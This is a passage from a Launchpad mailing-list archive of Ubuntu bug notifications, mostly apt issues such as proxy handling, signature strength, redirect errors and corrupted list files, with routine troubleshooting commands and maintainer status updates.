https://bugs.launchpad.net/ubuntu/+source/apt/+bug/178144/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 453678] Re: udev initramfs hook ignores that udevadm is disabled, copies it anyway

[Julian Andres Klode]

It seems this was an ordering issue. Ordering was changed a lot in 1.3
and newer (it interacts with dpkg much closer), so I assume that's fixed
now.

** Changed in: apt (Ubuntu)
   Status: Triaged => Fix Released

** Changed in: apt (Ubuntu)
Milestone: karmic-updates => None

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/453678

Title:
  udev initramfs hook ignores that udevadm is disabled, copies it anyway

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Karmic:
  Won't Fix

Bug description:
  Binary package hint: udev

  I've just experienced a perfect storm of bugs during an upgrade, which
  I will relate here for its amusement value rather than for its
  relevance in fixing the bug that I am currently filing.

  During an upgrade to the latest karmic - which somehow managed to find
  over 150 distinct packages in need of upgrading - the 'restart udev'
  command in the middle of the udev upgrade hung.

  'sudo initctl log-priority debug' also hung - in the 'sudo' part, not
  the 'initctl' part.  Trying to run 'sudo' anywhere else obviously also
  hangs.

  Switching to VT 1 and trying to log in, the login is accepted... and
  then hangs right after pam_motd, without giving me a shell (this
  points to pam_ck_connector having problems).

  So switching back and forth between X and VT1 and trying a few
  different things to get myself unwedged, something gets confused on
  the audio side, causing my speakers to repeat a single sample from the
  music I had playing.  So I try to kill pulseaudio and get it to
  restart.

  Killing pulseaudio alerts gnome-settings-daemon, which tries to
  reconnect, which hangs... thereby hanging metacity.

  So now I can't type in any of my X terminals either.

  So I use SysRq-E, which succeeds in killing the processes and
  respawning them... aside from the fact that X comes back without a
  keyboard or mouse.

  And of course openssh isn't managed by upstart yet, so I can't log in
  remotely.

  So I reboot, and that's when the fun starts... because among the
  packages that was upgraded before udev hung was the kernel.  Which
  means that when the package was configured, a new initramfs was
  generated... while udev was in an unconfigured state.  Which means
  that when /sbin/udevadm was copied into the new initramfs, it wasn't
  /sbin/udevadm.

  Output I should never see from my initramfs at boot time:

udevadm trigger is not permitted while udev is unconfigured.
udevadm settle is not permitted while udev is unconfigured.

  Fortunately, I had an earlier kernel installed so I could boot from it
  and recover - but the udev initramfs hook should *never* do this.
  Either it should explicitly grab /sbin/udevadm.upgrade if present and
  copy it in place of /sbin/udevadm, or it should detect
  /sbin/udevadm.upgrade and *abort* the initramfs generation.

  What I can't figure out is how the linux package was configured at all
  under these circumstances: linux-image-2.6.31-14-generic depends on
  initramfs-tools, and initramfs-tools depends on udev.  So there should
  have been no point at which update-initramfs would have been called
  while udev was unconfigured.  So maybe this isn't a udev bug at all,
  but a bug in update-manager.

  Here, though, are the relevant bits of /var/log/dpkg.log.

  2009-10-16 17:37:32 upgrade linux-image-2.6.31-14-generic 2.6.31-14.46 
2.6.31-14.48
  2009-10-16 17:37:32 status half-configured linux-image-2.6.31-14-generic 
2.6.31-14.46
  2009-10-16 17:37:32 status unpacked linux-image-2.6.31-14-generic 2.6.31-14.46
  2009-10-16 17:37:32 status half-installed linux-image-2.6.31-14-generic 
2.6.31-14.46
  2009-10-16 17:37:53 status half-installed linux-image-2.6.31-14-generic 
2.6.31-14.46
  2009-10-16 17:37:56 status unpacked linux-image-2.6.31-14-generic 2.6.31-14.48
  2009-10-16 17:37:58 status unpacked linux-image-2.6.31-14-generic 2.6.31-14.48
  2009-10-16 17:38:40 upgrade udev 147~-5 147~-6
  2009-10-16 17:38:40 status half-configured udev 147~-5
  2009-10-16 17:38:40 status unpacked udev 147~-5
  2009-10-16 17:38:40 status half-installed udev 147~-5
  2009-10-16 17:38:40 status half-installed udev 147~-5
  2009-10-16 17:38:40 status half-installed udev 147~-5
  2009-10-16 17:38:41 status half-installed udev 147~-5
  2009-10-16 17:38:41 status unpacked udev 147~-6
  2009-10-16 17:38:41 status unpacked udev 147~-6
  2009-10-16 17:41:49 configure linux-image-2.6.31-14-generic 2.6.31-14.48 
2.6.31-14.48
  2009-10-16 17:41:49 status unpacked linux-image-2.6.31-14-generic 2.6.31-14.48
  2009-10-16 17:41:49 status half-configured linux-image-2.6.31-14-generic 
2.6.31-14.48
  2009-10-16 17:42:12 status installed linux-image-2.6.31-14-generic 
2.6.31-14.48
  2009-10-16 17:42:55 configure udev 147~-6 147~-6
  2009-10-16 17:42:55 status unpacked udev 147~-6
  2009-10-16 17:42:55 

[Touch-packages] [Bug 1089070] Re: Could not open file /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_quantal_main_binary-amd64_Packages - open (24: Too many open files)

[Julian Andres Klode]

We have not seen any other reports of this issue on more recent
versions, so I assume it's fixed. If it happens again on xenial or
newer, feel free to reopen the bug or open a new one.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1089070

Title:
  Could not open file /var/lib/apt/lists/archive.ubuntu
  .com_ubuntu_dists_quantal_main_binary-amd64_Packages - open (24: Too
  many open files)

Status in apt package in Ubuntu:
  Fix Released
Status in apt package in Debian:
  Fix Released

Bug description:
  Apt fails if more than 40 keyrings are in use.

  
  Old description:
  "sudo apt-get build-dep" fails every single time with a big list of errors 
like the one below:

  E: Could not open file /var/lib/apt/lists/archive.ubuntu
  .com_ubuntu_dists_quantal_main_binary-amd64_Packages - open (24: Too
  many open files)

  ProblemType: Bug
  DistroRelease: Ubuntu 12.10
  Package: apt 0.9.7.5ubuntu5.1
  ProcVersionSignature: Ubuntu 3.5.0-20.31-generic 3.5.7.1
  Uname: Linux 3.5.0-20-generic x86_64
  ApportVersion: 2.6.1-0ubuntu9
  Architecture: amd64
  Date: Tue Dec 11 20:58:30 2012
  InstallationDate: Installed on 2012-09-14 (88 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120914)
  MarkForUpload: True
  SourcePackage: apt
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1089070/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 226780] Re: apt-key net-update does not obey APT::Acquire::http::Proxy

[Julian Andres Klode]

** Changed in: apt (Ubuntu Precise)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/226780

Title:
  apt-key net-update does not obey APT::Acquire::http::Proxy

Status in apt package in Ubuntu:
  Triaged
Status in apt source package in Lucid:
  Won't Fix
Status in apt source package in Natty:
  Won't Fix
Status in apt source package in Oneiric:
  Won't Fix
Status in apt source package in Precise:
  Won't Fix

Bug description:
  [Impact]
  IWBNI apt-key obeyed apt's network preferences like the rest of the apt-* 
tools do. The fix is to append a timeout option to wget which is invoked in 
apt-key during key retrieval. An example, would be attempting to reduce the 
number of retries wget performs in order to receive the gpg key. The default is 
20 tries, however, if the firewall is set to DROP packets then thats a 90*20 
timeout.

  [Test Case]
  # iptables -A OUTPUT -p tcp --dport 80 -j DROP
  # wget -q -N 
http://archive.ubuntu.com/ubuntu/project/ubuntu-archive-keyring.gpg
  [endless hang] ^C

  # iptables -F
  # iptables -A OUTPUT -p tcp --dport 80 -j REJECT
  # wget --timeout=90 -q -N 
http://archive.ubuntu.com/ubuntu/project/ubuntu-archive-keyring.gpg
  [returns in 90 seconds]
  #
  # iptables -F
  # wget --timeout=90 -q -N 
http://archive.ubuntu.com/ubuntu/project/ubuntu-archive-keyring.gpg
  [returns instantly]
  #
  #
  # iptables -A OUTPUT -p tcp --dport 80 -j DROP
  # route del default
  # wget --timeout=90 -q -N 
http://archive.ubuntu.com/ubuntu/project/ubuntu-archive-keyring.gpg
  [returns instantly]

  [Regression Potential]
  Potential for regression is minimal as this would allow apt-key to 
successfully timeout if the keyserver is unreachable and allow for continued 
operation required by other services (i.e. cron executed instances)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/226780/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1562733] Re: apt signature requierements prevent updates from some repositories

[Julian Andres Klode]

Hmm, it seems I made it possible to downgrade errors to warnings
(untrusted to weak) in the gpgv verification, but never in the other
code part.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1562733

Title:
  apt signature requierements prevent updates from some repositories

Status in apt package in Ubuntu:
  In Progress
Status in apt source package in Xenial:
  Won't Fix

Bug description:
  Since xenial updated the requirements for the strength of PGP
  signatures of packages, packages from some repositories are no longer
  updated. Apt-get update reports these errors:

  E: Failed to fetch http://[...]/Release  No Hash entry in Release file 
/var/lib/apt/lists/partial/[...] which is considered strong enough for security 
purposes
  E: Some index files failed to download. They have been ignored, or old ones 
used instead.

  While the motivation for the change is valid, the result is a
  potential security problem, as the new versions of the packages that
  may fix recently discovered vulnerabilities are not automatically
  installed.

  One less important but unfortunate effect is a scary message that is
  displayed to the user, without clear explanation that the problem
  needs to be addressed by the repository owner.

  Related: Bug #1558331

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1562733/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1417717] Re: apt-utils marked for translate, but data unavailable

[Julian Andres Klode]

We are now generating files with headers specifically for launchpad
since some time, so this is done on our side.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

** Also affects: launchpad
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1417717

Title:
  apt-utils marked for translate, but data unavailable

Status in Launchpad itself:
  New
Status in Ubuntu Translations:
  Confirmed
Status in apt package in Ubuntu:
  Fix Released

Bug description:
  The package apt-utils is marked for translate ( 15.04, in french), but
  no data is available for translators.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1417717/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1479045] Re: E: Method gave invalid 103 Redirect message

[Julian Andres Klode]

Marking as fix released as per mikaela's comment. If anyone sees that
again in 16.04 or newer, feel free to reopen the bug.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1479045

Title:
  E: Method gave invalid 103 Redirect message

Status in apt package in Ubuntu:
  Fix Released

Bug description:
  Sometimes when running `apt update` or equivalent, the progress stops
  with error "E: Method gave invalid 103 Redirect message". This seems
  to happen especially when http:://mirrors.ubuntu.com/mirrors.txt is
  used.

  Current sources.list on this laptop is below. This happens with other
  my devices running Ubuntu too which sources.list is
  https://raw.githubusercontent.com/Mikaela/shell-
  things/a5c9156eb41826e3c2cb05ce09f9981d01ce979d/etc/apt/sources.list/15.04

  ```
  # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
  # newer versions of the distribution.
  deb mirror://mirrors.ubuntu.com/mirrors.txt vivid main restricted universe 
multiverse

  ## Major bug fix updates produced after the final vivid of the
  ## distribution.
  deb mirror://mirrors.ubuntu.com/mirrors.txt vivid-updates main restricted 
universe multiverse

  ## N.B. software from this repository may not have been tested as
  ## extensively as that contained in the main vivid, although it includes
  ## newer versions of some applications which may provide useful features.
  ## Also, please note that software in backports WILL NOT receive any review
  ## or updates from the Ubuntu security team.
  deb mirror://mirrors.ubuntu.com/mirrors.txt vivid-backports main restricted 
universe multiverse
  deb mirror://mirrors.ubuntu.com/mirrors.txt vivid-security main restricted 
universe multiverse
  deb http://security.ubuntu.com/ubuntu vivid-security main restricted universe 
multiverse
  deb-src mirror://mirrors.ubuntu.com/mirrors.txt vivid main restricted 
universe multiverse
  deb-src mirror://mirrors.ubuntu.com/mirrors.txt vivid-updates main restricted 
universe multiverse
  deb-src mirror://mirrors.ubuntu.com/mirrors.txt vivid-backports main 
restricted universe multiverse
  deb-src mirror://mirrors.ubuntu.com/mirrors.txt vivid-security main 
restricted universe multiverse
  deb-src http://security.ubuntu.com/ubuntu vivid-security main restricted 
universe multiverse

  ## Uncomment the following two lines to add software from Canonical's
  ## 'partner' repository.
  ## This software is not part of Ubuntu, but is offered by Canonical and the
  ## respective vendors as a service to Ubuntu users.
  deb http://archive.canonical.com/ubuntu vivid partner
  deb-src http://archive.canonical.com/ubuntu vivid partner

  # https://wiki.ubuntu.com/DebuggingProgramCrash
  # sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01
  deb http://ddebs.ubuntu.com vivid main restricted universe multiverse
  deb http://ddebs.ubuntu.com vivid-updates main restricted universe multiverse
  # Ignore unless you have enabled proposed below
  #deb http://ddebs.ubuntu.com vivid-proposed main restricted universe 
multiverse

  # https://wiki.ubuntu.com/Testing/EnableProposed
  #deb mirror://mirrors.ubuntu.com/mirrors.txt vivid-proposed main restricted 
universe multiverse
  #deb-src mirror://mirrors.ubuntu.com/mirrors.txt vivid-proposed main 
restricted universe multiverse
  ```

  This has been happening for a long time, possibly years and I was
  surprised that I wasn't able to find bug report by searching bugs for
  package "apt" with search term "103" redirect.

  I have learned that workaround for this issue is `cd
  /var/lib/apt/lists;rm *;cd partial;rm *;cd`.

  ProblemType: Bug
  DistroRelease: Ubuntu 15.04
  Package: apt 1.0.9.7ubuntu4
  ProcVersionSignature: Ubuntu 3.19.0-25.26-generic 3.19.8-ckt2
  Uname: Linux 3.19.0-25-generic x86_64
  NonfreeKernelModules: fglrx
  ApportVersion: 2.17.2-0ubuntu1.1
  Architecture: amd64
  CurrentDesktop:
   
  Date: Tue Jul 28 19:25:58 2015
  InstallationDate: Installed on 2015-07-14 (14 days ago)
  InstallationMedia: Ubuntu-MATE 15.04 "Vivid Vervet" - Release amd64 
(20150422.1)
  SourcePackage: apt
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1479045/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1561033] Re: Can't add ddebs.ubuntu.com and update

[Julian Andres Klode]

There were a lot of changes since 1.2.7, and no further updates here, so
I assume the bug has been fixed, or it was just a connectivity issue
after all. If anything changes, reopen the bug or open a new one.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1561033

Title:
  Can't add ddebs.ubuntu.com and update

Status in ddeb-retriever:
  New
Status in apt package in Ubuntu:
  Invalid

Bug description:
  Tried following adding ddeb procedure here:
  https://wiki.ubuntu.com/DebuggingProgramCrash

  Err:7 http://ddebs.ubuntu.com xenial/main amd64 Packages
Writing more data than expected (3453598 > 3453008)
  Get:9 http://ddebs.ubuntu.com xenial/universe amd64 Packages [3,165 kB]
  Err:9 http://ddebs.ubuntu.com xenial/universe amd64 Packages  

  
Writing more data than expected (9628933 > 9600688)
  Fetched 80.9 kB in 9s (8,683 B/s) 

  
  Reading package lists... Done
  W: gpgv:/var/lib/apt/lists/partial/ddebs.ubuntu.com_dists_xenial_Release.gpg: 
The repository is insufficiently signed by key 
2512191FEF8729D6E5AF414DECDCAD72428D7C01 (weak digest)
  W: Failed to fetch 
http://ddebs.ubuntu.com/dists/xenial/main/binary-amd64/Packages  Writing more 
data than expected (3453598 > 3453008)
  W: Failed to fetch 
http://ddebs.ubuntu.com/dists/xenial/universe/binary-amd64/Packages  Writing 
more data than expected (9628933 > 9600688)
  E: Some index files failed to download. They have been ignored, or old ones 
used instead.

  I cannot apt-get update after adding the key.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: apt 1.2.7
  ProcVersionSignature: User Name 4.4.0-15.31-generic 4.4.6
  Uname: Linux 4.4.0-15-generic x86_64
  ApportVersion: 2.20-0ubuntu3
  Architecture: amd64
  Date: Wed Mar 23 14:56:10 2016
  SourcePackage: apt
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ddeb-retriever/+bug/1561033/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1574278] Re: AbiWord text cursor starts to flicker after adding some text

[Sondra Kinsey]

I experienced this bug in Lubuntu 16.04, and found it made Abiword
unusable. I recently installed Lubuntu 17.04 on a different computer and
was disappointed to discover the bug is still present with my fresh
installation!

That said, I'm not 100% sure my bug is the same as what is reported here. 
Above, and at the following places, is described the whole screen flickering 
when document not empty
- https://www.youtube.com/watch?v=r1lPas9-DuQ=youtu.be
- https://bugzilla.abisource.com/show_bug.cgi?id=13791
- https://bugs.sugarlabs.org/ticket/4915

However, my experience is that Abiword flashes from the top edge of the
background (below the ruler) to about an inch into the page on the top,
and from the left edge of the background to an eigth of an inch into the
page on the left. When I zoom in or out on the document, the same area
of the screen flickers. This happens even on an empty document.

I think this is the same problem
- 
https://askubuntu.com/questions/818219/abiword-documents-borders-keeps-flashing

I tried this:
  for i in `ls /usr/share/themes`; do echo $i; GTK_THEME="$i" abiword; done
It was the same for every theme, including Adwaita.

Any hope for a fix?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1574278

Title:
  AbiWord text cursor starts to flicker after adding some text

Status in AbiWord:
  In Progress
Status in abiword package in Ubuntu:
  Confirmed
Status in gtk+3.0 package in Ubuntu:
  Fix Released
Status in lubuntu-artwork package in Ubuntu:
  Invalid
Status in abiword source package in Xenial:
  Confirmed
Status in gtk+3.0 source package in Xenial:
  Confirmed
Status in lubuntu-artwork source package in Xenial:
  Invalid

Bug description:
  After adding some text in a new document, the entire document
  (including gray page background, text, text cursor) starts to flicker
  very fast. The UI above does not flicker. This happens too on a
  different system in VirtualBox. (Lubuntu 16.04 i386)

  Workaround for Ubuntu 16.04 LTS
  ===
  1. Open the Lubuntu menu.
  2. Open Preferences>Customize Look and Feel
  3. Change the theme to something other than Lubuntu-default or 
Lubuntu-dark-panel

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: abiword 3.0.1-6
  ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6
  Uname: Linux 4.4.0-21-generic i686
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: i386
  CurrentDesktop: LXDE
  Date: Sun Apr 24 16:12:14 2016
  ExecutablePath: /usr/bin/abiword
  InstallationDate: Installed on 2016-04-22 (2 days ago)
  InstallationMedia: Lubuntu 15.10 "Wily Werewolf" - Release i386 (20151021)
  ProcEnviron:
   LANGUAGE=de_DE
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: abiword
  UpgradeStatus: Upgraded to xenial on 2016-04-22 (2 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/abiword/+bug/1574278/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1406268] Re: apt does not validate lists received from the network.

[Julian Andres Klode]

Marking this as released. It seems we fixed most instances of these bugs
in apt 1.1 and later (xenial and newer), with its massive changes to the
acquire system.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1406268

Title:
  apt does not validate lists received from the network.

Status in apt package in Ubuntu:
  Fix Released

Bug description:
  When loading update manager on my laptop, I noticed that it silently
  stopped and would not load or check for updates.

  Upon investigation I discovered the following error:-
  #apt-get update
  .
  .
  .
  Reading package lists... Error!
  E: Encountered a section with no Package: header
  E: Problem with MergeList 
/var/lib/apt/lists/extras.ubuntu.com_ubuntu_dists_trusty_main_i18n_Translation-en
  E: The package lists or status file could not be parsed or opened.
  #

  
  The cause of this was that, some time ago it had tried to update while on a 
network which had some filtering, and the content of a number of files inside 
the folder "/var/lib/apt/lists" contained a "pay wall" HTML screen.  I was 
however, no-longer connected to the network in question and the error persisted 
indefinitely until I manually removed the files which had the suspect content.

  eg. sudo rm /var/lib/apt/lists/extras.ubuntu.com*

  I see this as a significant security issue, since any user could
  connect to a public wifi point, and accidentally collect corrupted apt
  list data, either before signing on to a pay wall, or if they do not
  sign on, and after this _NO FURTHER UPDATES_ will be performed.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1406268/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1406268] Re: apt does not validate lists received from the network.

[Julian Andres Klode]

Marking this as released. It seems we fixed most instances of these bugs
in apt 1.1 and later (xenial and newer), with its massive changes to the
acquire system.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1406268

Title:
  apt does not validate lists received from the network.

Status in apt package in Ubuntu:
  Fix Released

Bug description:
  When loading update manager on my laptop, I noticed that it silently
  stopped and would not load or check for updates.

  Upon investigation I discovered the following error:-
  #apt-get update
  .
  .
  .
  Reading package lists... Error!
  E: Encountered a section with no Package: header
  E: Problem with MergeList 
/var/lib/apt/lists/extras.ubuntu.com_ubuntu_dists_trusty_main_i18n_Translation-en
  E: The package lists or status file could not be parsed or opened.
  #

  
  The cause of this was that, some time ago it had tried to update while on a 
network which had some filtering, and the content of a number of files inside 
the folder "/var/lib/apt/lists" contained a "pay wall" HTML screen.  I was 
however, no-longer connected to the network in question and the error persisted 
indefinitely until I manually removed the files which had the suspect content.

  eg. sudo rm /var/lib/apt/lists/extras.ubuntu.com*

  I see this as a significant security issue, since any user could
  connect to a public wifi point, and accidentally collect corrupted apt
  list data, either before signing on to a pay wall, or if they do not
  sign on, and after this _NO FURTHER UPDATES_ will be performed.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1406268/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1656352] Re: apt does not honor Proxy-Auto-Detect for HTTPS URLs

[Julian Andres Klode]

This was fixed in the 1.5 series in artful. You can now return http,
https, and socks5h proxy URIs. Note that you also need to use

Acquire::https::Proxy-Auto-Detect

if you want it to be used for https.

The http method gained native https support, so you can now use http and
https with http, https, and socks5h proxies. I added a whitelist to the
proxy autodetection script to make it accept these URL types for any
http or https URLs.

** Changed in: apt (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1656352

Title:
  apt does not honor Proxy-Auto-Detect for HTTPS URLs

Status in apt package in Ubuntu:
  Fix Released

Bug description:
  apt(-get) does not honor Proxy-Auto-Detect configuration in any way
  for HTTPS URLs.

  ex: vi /etc/apt/apt.conf.d/99-proxy-auto-detect

  Acquire::http:Proxy-Auto-Detect "/path/to/app";

  "app" performs some actions and output the name of the proxy server
  according to some internal rules, in the form
  "http://proxy.domain.tld:1234/;

  This works perfectly for all HTTP-like "deb http://example.com/ xxx"
  URLs but is ignored for HTTPS URLs. Setting "Acquire::https:Proxy-
  Auto-Detect" or even the legacy variable name "ProxyAutoDetect"
  (without dashes) does not help either.

  This is very annoying as the very purpose of this auto-detection is to
  be network environment aware instead of using a hardcoded value for
  the proxy setting.

  This should be fixed. Thank you.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1656352/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1612779] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug is no longer a duplicate of bug 1605950
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed
** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1612779

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  New

Bug description:
  just updated ubuntu 16.04 to 16.10

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-34.53-generic 4.4.15
  Uname: Linux 4.4.0-34-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.3-0ubuntu5
  Architecture: amd64
  Date: Fri Aug 12 18:21:37 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-05-18 (85 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.9ubuntu2
   apt  1.3~pre3
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to yakkety on 2016-08-12 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1612779/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1615052] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug is no longer a duplicate of bug 1605950
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed
** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1615052

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  New

Bug description:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-34.53-generic 4.4.15
  Uname: Linux 4.4.0-34-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.3-0ubuntu7
  Architecture: amd64
  Date: Fri Aug 19 21:09:53 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-08-19 (0 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu1
   apt  1.3~rc2ubuntu2
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to yakkety on 2016-08-19 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1615052/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1605950] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
